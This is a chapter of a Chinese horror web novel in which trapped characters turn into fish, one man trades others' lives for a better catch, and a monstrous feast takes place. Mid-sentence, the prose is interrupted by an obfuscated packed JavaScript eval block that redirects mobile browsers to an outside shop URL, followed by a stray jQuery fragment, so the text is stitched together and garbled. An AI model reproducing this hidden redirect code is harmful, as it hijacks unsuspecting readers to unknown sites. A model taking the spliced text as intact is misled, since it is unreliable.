高瘦男有些庆幸自己钓鱼的时候坐在闻岁的旁边,听到了这个鱼塘的秘密。
原来前一天的大丰收居然是靠那光头的命换来的,他低头看了眼自己空空如也的竹筐,心里打起了坏主意。
他的目光略过闻岁几人,最后直挺挺看着一个存在感比较低的女人。
在这种情况下,少一个人……应该也很难看出来吧。
“……”
闻岁脸色铁青地看着沾沾自喜的高瘦男,手指握拳,最后又无力地松开。
高瘦男注意到周围的动静,下意识扭过头,被闻岁吓了一跳,有些心虚地低眉顺眼道:“哎呦,我当是谁呢,这不是第一天帮我教训回那个臭光头的小伙子吗?”
听到高瘦男这么不要脸的话,洛晴冷笑一声道:“你还真会给自己脸上贴金。”
被这般阴阳怪气,高瘦男也不恼,压低声音道:“你看看你们,多大点事儿,我这不是为了十几号人着想吗?万一下午鱼塘还是那个情况,那我们不都就没命了吗……”
众人被高瘦男这一番话气得不轻,洛晴眸中的厌恶几乎要溢出来,许昭昭死死咬着唇,脸色通红,只有季白一脸懵地看着现在的局面,也不知洛晴有没有同他说明情况。
“谁告诉你会没命。”闻岁的声音冷不丁地响起,带着淡淡的寒意。
高瘦男一愣,有些不明所以地挠了挠头,这样子像极了山里乱窜的猴子,他咧着嘴问道:“这不是那婆……老太太说的吗,我可听的一清二楚!”
闻岁看着高瘦男眼里的精光,眼神在此刻变得无比冰冷:“她说不能上贡,我倒不知道原来不能上贡就要没命。”
这句话落地的一瞬间,闻岁就拉着许昭昭离开鱼塘,季白连忙跟着闻岁一起离开,洛晴满脸嫌恶,连一个眼神都没有再留给高瘦男。
高瘦男下不来台面,啐了一口唾沫,脸上有些狰狞道:“呸,几个蠢货。”
……
回到房间后,闻岁第一眼便看见了地上可疑的水渍,从门口延伸到自己的床边。
有人,或者“鱼”来过。
他默不作声地和洛晴对视一眼,安抚了许昭昭一小会儿,隐隐约约自己好像忘了点什么东西。
鱼化的后果比他预想中的要糟糕很多,他眉头紧紧锁住,怎么也想不起来自己到底忘了什么,那似乎是一件在此时此刻不显重要的事情。
闻岁疲惫地揉了揉太阳穴,将这件事情先放在一边,转头询问洛晴:“洛晴姐,我们现在该怎么办?”
洛晴嘴角勾起,故作苦恼道:“对啊,怎么办呢,这不是我的考核本呢。”
闻岁:“……”冷血的女人。
他叹了口气,余光扫过一旁沉默不语的许昭昭。许昭昭脸色还是有些白,双眼无神地盯着地板,在这件事情上收到了不小的打击。
闻岁蹲下身,轻声道:“怎么了?”
许昭昭闻言,微微抬头,还没开口,就听见闻岁温润好听的声音接着响起。
“你很内疚,内疚自己没有救下那个人?”
女孩儿轻轻点了点头,眼泪再也抑制不住,夺眶而出。
遇到光头骚扰时她没有哭,看到光头死亡她没有哭,但此时此刻她再也忍不住,压抑着声音呜咽道:“我不是故意的,要是我能早点听到……”
“许昭昭。”闻岁强行打断她的话语,无奈道,“不要为一个陌生人的事情自责。”
“你没有义务保证他们的性命,他们也并没有对你做过值得涌泉相报的事情。”
许昭昭眼神一滞,一时有些没听明白闻岁地话语,只是似懂非懂地点了点头。
闻岁的目光投向洛晴,洛晴挑了挑眉,明白了他的意思,动用了意念。
这一动作之后,闻岁看着许昭昭和季白,淡淡道:“同样,如果在什么时候我也自身难保,那我一定不会为了你们的性命冒险。”
洛晴有些诧异地看向闻岁,对这番言论也有些意外。
季白被这突如其来的声音吓了一跳,连忙点头,眼神中带着几分落寞,对自己的情况十分清楚。
许昭昭止住了哭声,明白了闻岁的用意,哽咽道:“……好,我一定不会再拖你们的后腿的。”
“噗嗤——”闻岁忍俊不禁道,“倒也没有说你们拖后腿,总之,合作愉快。”
他和许昭昭击了击掌,起身拍了拍自己的衣服,熟悉的遗忘感再度袭来,他盯着许昭昭看了一阵,突然想起来自己忘了什么了。
闻岁怕自己下一秒又忘掉,连忙问道:“昭昭,你说你在吃饭的时候听到的鱼塘这边的声音,对吗?”
在得到许昭昭的肯定后,闻岁接着问道:“你身上有没有什么地方感觉热热的、痒痒的……”
他的声音越来越小,总感觉哪里怪怪的。
好糟糕的形容。
许昭昭眨了眨眼睛,睫毛还有些湿润:“有的闻岁哥哥,在后腰。”
闻岁让洛晴过来看看,自觉挪开了视线。洛晴麻利地走到许昭昭身后,掀起她的上衣,看见了里面蜿蜒的图案,而后将衣摆放下。
见那边没了动静,闻岁堪堪回眸,好奇道:“洛晴姐,看出了什么?”
无人应答。
空气中弥漫着几分尴尬地味道,闻岁眨眨眼,接着开口:“洛晴姐?”
洛晴面无表情地转过头,冷漠道:“忘了。”
语气十分理直气壮。
闻岁:“……”
你也忍不住化身一条固执的鱼吗?
二人沉默了许久,一时不知该如何是好。
空气中的鱼腥味儿越来越浓烈,说不清是从哪里发出来的,迷雾依旧笼罩在四周,闻岁眯了眯眼,走到屋外看向寺庙的方向。
“我们明天一定要仔细寻找线索,不然等到记忆力进一步衰退就更难办了。”
他聊起衣袖,发现一部分鱼鳞竟然已经蔓延到了自己的上臂,自己身上的臭味也愈发明显了一些。
没过一会儿,院子里的人都各怀心事地离开,闻岁几人也一并出门开始打工。
由于中午高瘦男的行为,鱼塘里的鱼果然多了不少,所有人捞起一条有一条肥硕的鱼,嘴角高高扬起,眼神中透着藏不住的兴奋。
他们欢呼着,呐喊着,却很少有人知道,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874908|212362||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
这一番收获是有人用命换来的。
闻岁几人都心不在焉地握着鱼竿,钓空地十分频繁,最后收获也理所应当成了垫底。
但好在最后老太太并没有给他们判不及格,这令几人都松了口气。
到晚饭的时间,众人脸上带着兴奋,拖着饿的发酸的胃就急不可耐地跑到几个餐桌前,却在见了桌上菜品的瞬间傻了眼。
闻岁几人眼神复杂地看了其他人一眼,强忍笑意吃完桌前索然无味的米饭。
但不知为何,这些恶心的菜品在几个人的眼中似乎带上了一些滤镜,在此刻看上去无比美味,空虚的胃一次次蠕动,似乎有一股意识在叫嚣着:吃下它,吃下这些美味的食物!
眼前腐烂的鱼肉逐渐扭曲,闻岁睫毛轻颤,看着眼前缓缓向前的筷子。
不能再这么下去了——!
闻岁猛得咬了咬舌尖,淡淡的血腥味充盈口腔,刺痛拉回一部分理智,他狠狠掐了掐自己的手臂,趁着这股意识彻底占据脑海前掀翻了整个桌子,许昭昭和季白的筷子已经触碰到腐烂的鱼身,在一声巨响后猛然回神,寒意从指尖蔓延每一根血管。
洛晴全程似乎没怎么受到影响,不急不缓地吃完米饭,向闻岁投来赞许的目光。
然而,更加诡异的事情发生了,其他人就好像没有注意到闻岁这边发出的动静一般,大口大口朝嘴里塞着桌上的东西,脸上的神情近乎痴狂,就好像在吃什么山珍海味一般。
闻岁的心跳如擂鼓般跳动,几乎凶狠地撞在胸腔上,带来一片窒息感。
许昭昭脸色发白,敏锐的听力让她更加清晰地听到这些人咀嚼饭菜的声音,配合上这样的场景,令她忍不住干呕几下。
那些疯狂的食客身上的鱼鳞迅速蔓延,有的甚至连眼睛都开始分向两边,脸侧长出两道缺口,似乎是鱼鳃,整个人朝着鱼的方向转变。
闻岁几人不再停留,当即离开此地,脸色难看地跑回房间。
许昭昭最后还是没有忍住,蹲在院子角落里吐了出来,这样的画面实在太过掉san,她也只是个八九岁的小孩。
洛晴只是脸色有些凝重,坐在床上思考现在的情况,闻岁脸色惨白,双眼无神地盯着天花板。
他知道,仅凭自己的力量一定是无法抗衡的,所有刚才掀桌子前,洛晴一定暗中帮了自己一把。
闻岁深吸一口气,对着洛晴沉声道:“谢谢。”
洛晴连一个眼神都没有给他,似乎对现在的情况相当苦恼,就连身经百战的心月狐,也对这个副本的机制有些怀疑。
“太难了。”洛晴皱着眉,呢喃道,“怎么会这么难……”
洛晴的话语落在闻岁耳中,他无奈地摇了摇头,叹了口气,最终还是没有再说些什么。
手机上的闹钟指向19:59。
许昭昭突然跌跌撞撞地跑了回来,嘴唇发白,眼神中盛满惊恐,颤声道:“外面……”
闻岁皱着眉,疑惑道:“外面怎么了?”说完,他下意识抬头,视线落到院子门口。
一个鱼头人静静地站在那里,身上的衣服有些眼熟。
是高瘦男的。